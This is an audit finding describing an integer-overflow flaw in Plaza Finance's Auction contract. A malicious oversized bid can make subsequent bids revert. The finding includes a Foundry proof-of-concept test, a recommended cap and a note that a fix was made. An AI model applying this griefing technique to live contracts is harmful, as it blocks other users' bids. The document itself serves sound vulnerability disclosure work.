Huge bid could cause overflow in subsequent bids
Description
In Auction, insertSortedBid
is called by the bid
function to insert a new bid into the linked list of bids. Because there is no limit on the buyReserveAmount
a bidder can bid, malicious bidders can set a buyReserveAmount
as large as possible so that subsequent bids will fail due to overflow.
function insertSortedBid(uint256 newBidIndex) internal {
// ...
if (highestBidIndex == 0) {
// First bid being inserted
highestBidIndex = newBidIndex;
lowestBidIndex = newBidIndex;
} else {
uint256 currentBidIndex = highestBidIndex;
uint256 previousBidIndex = 0;
// Traverse the linked list to find the correct spot for the new bid
while (currentBidIndex != 0) {
// ...
leftSide = newSellCouponAmount * currentBuyReserveAmount;
rightSide = currentSellCouponAmount * newBuyReserveAmount;
Impact
If an attacker bids with a value just below the overflow threshold, along with a one-slot--size coupon, any subsequent bids exceeding a two-slot size will fail due to the overflow.
The following proof-of-concept script demonstrates that a huge bid could cause an overflow in subsequent bids:
function testAuditAuctionBidOverflow() public {
vm.prank(governance);
_pool.setAuctionPeriod(10 days);
vm.warp(block.timestamp + 95 days);
_pool.startAuction();
(uint256 currentPeriod,) = _pool.bondToken().globalPool();
address auction = _pool.auctions(currentPeriod);
Auction _auction = Auction(auction);
Token usdc = Token(_pool.couponToken());
vm.startPrank(bidder);
uint256 initialBidAmount = 25000000000000000000;
usdc.mint(bidder, initialBidAmount);
usdc.approve(address(auction), initialBidAmount);
// uint256 target_amount = type(uint256).max / 25000000000000000000;
uint256 target_amount = type(uint256).max / initialBidAmount;
_auction.bid(target_amount, 25000000000000000000);
vm.stopPrank();
vm.startPrank(user1);
uint256 newBidderBid = 25000000000000000000 * 2;
usdc.mint(user1, newBidderBid);
usdc.approve(address(auction), newBidderBid);
vm.expectRevert(stdError.arithmeticError);
_auction.bid(1 ether, newBidderBid);
vm.stopPrank();
}
Recommendations
Add a cap to the buyReserveAmount
to prevent overflow in subsequent bids.
Remediation
This issue has been acknowledged by Plaza Finance, and a fix was implemented in commit b5579924↗.